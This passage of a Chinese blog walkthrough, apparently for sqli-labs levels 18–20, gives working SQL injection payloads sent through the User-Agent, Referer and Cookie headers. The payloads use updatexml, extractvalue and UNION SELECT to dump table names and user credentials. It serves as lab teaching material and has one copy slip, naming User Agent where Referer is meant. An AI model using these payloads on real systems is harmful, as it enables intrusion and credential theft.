使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

查询数据库版本信息

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Less 19

POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。

Username:Dumb

Password:Dumb

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

Username:admin

Password:a

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。

a' OR 1 = 1# 

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1# 

a") OR 1 = 1# 

a")) OR 1 = 1#

注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Referer: '

到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。

获取数据库信息

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

Referer: '#

注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

Referer: ''

注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:

extractvalue(XML_document, XPath_string)

爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。

Referer: ' OR extractvalue(1,concat("!",database())) OR '

爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

爆字段名,继续使用 extractvalue() 报错注入。

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

Less 20

POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

判断注入类型

首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1# 

a') OR 1 = 1# 

a')) OR 1 = 1# 

a" OR 1 = 1# 

a") OR 1 = 1# 

a")) OR 1 = 1#

为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。

登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。

在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞。

Cookie: uname=admin'

注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合。

Cookie: uname=admin'#

获取数据库信息

首先我们判断有几列我们可用,因为网页回显了 Login name、Your Password 和 ID 3 个字段,猜测有 3 列我们可用。使用联合查询注入 3 个常数验证猜想,得到 3 列的回显位置。

Cookie: uname=' UNION SELECT 1,2,3#

接下来的注入操作和 Less 1 的操作一样,这里需要在 cookie 进行注入,爆数据库名。

Cookie: uname=' UNION SELECT database(),2,3#

爆表名。

Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#

爆字段名。

Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

获取目标信息

该关卡知道 Sql 注入点之后就很顺畅了,构造出 payload 如下:

Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

  • 29
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值